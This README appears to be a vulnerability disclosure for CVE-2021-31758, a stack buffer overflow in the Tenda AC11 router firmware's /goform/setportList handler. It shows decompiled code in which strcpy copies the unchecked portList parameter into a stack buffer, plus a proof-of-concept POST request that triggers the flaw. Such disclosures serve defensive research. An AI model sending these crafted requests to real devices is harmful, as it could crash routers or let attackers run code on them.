Readme.md

Tenda Router AC11 Vulnerability

The Vulnerability is in `/goform/setportList` page which influence the lastest version of this router OS. (this is a RTOS that are different from linux system) The Version is AC11_V02.03.01.104_CN

Vulnerability description

An issue was discovered on Tenda AC11 devices with firmware through 02.03.01.104_CN. A stack buffer overflow vulnerability in `/goform/setportList` allows attackers to execute arbitrary code on the system via a crafted post request.

In the function `sub_800CAA38` (page `/gofrom/setportList`) have one stack buffer overflow vulnerability.

1. It isn't limit our input when we input `portList` in `v9` .
2. Then if `v9` is different from a fixed string, `v9` will copy to a stack value `v22` by using `strcpy(v22, v9);` .strcpy couldn't limit copy length ,so wo can make stack buffer overflow in `v22`

```
memset(v22, 0, sizeof(v22));
memset(v24, 0, sizeof(v24));
memset(v23, 0, sizeof(v23));
v9 = Packt_websGetVar(a1, a2, "portList", "");
v8 = sub_8002474C();
if ( gstrcmp_0(v9, *(v8 + 188)) )
{
  v11 = 0;
  nvram_set("forward_port_list", v9);
  do
  {
    v12 = sub_80014788("forward_port", v11++);
    nvram_set(v12, "");
  }
  while ( v11 != 16 );
  strcpy(v22, v9);
```

input vector controlled by malicious attack

strcpy gets buffer overflow

poc

```
POST /goform/setportList HTTP/1.1
Host: 192.168.0.1
Content-Length: 717
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded;
Accept: */*
Origin: http://192.168.0.1
Referer: http://192.168.0.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&portList=1234aaaaaaaaaaaaaaaaaaaa
```

Acknowledgment

Credit to @Yu3H0,@1chig0,@Lnkvct from Shanghai Jiao Tong University and TIANGONG Team of Legendsec at Qi'anxin Group.

CVE ID

CVE-2021-31758